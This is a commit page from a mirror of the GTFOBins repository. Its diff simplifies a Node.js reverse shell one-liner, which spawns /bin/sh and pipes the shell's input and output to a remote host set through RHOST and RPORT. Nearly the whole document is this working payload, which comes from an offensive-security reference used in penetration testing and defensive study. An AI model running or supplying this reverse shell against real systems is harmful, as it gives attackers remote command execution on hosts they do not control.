mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Simplify node reverse shell
This commit is contained in:
parent
6e2242d3f1
commit
ac79267e7e
@ -15,10 +15,9 @@ functions:
|
|||||||
export RHOST=10.0.0.1
|
export RHOST=10.0.0.1
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
node -e 'sh = require("child_process").spawn("/bin/sh");
|
node -e 'sh = require("child_process").spawn("/bin/sh");
|
||||||
client = new require("net").Socket();
|
net.connect(process.env.RPORT, process.env.RHOST, function () {
|
||||||
client.connect(process.env.RPORT, process.env.RHOST, function () {
|
this.pipe(sh.stdin);
|
||||||
client.pipe(sh.stdin);
|
sh.stdout.pipe(this);
|
||||||
sh.stdout.pipe(client);
|
sh.stderr.pipe(this);
|
||||||
sh.stderr.pipe(client);
|
|
||||||
});'
|
});'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user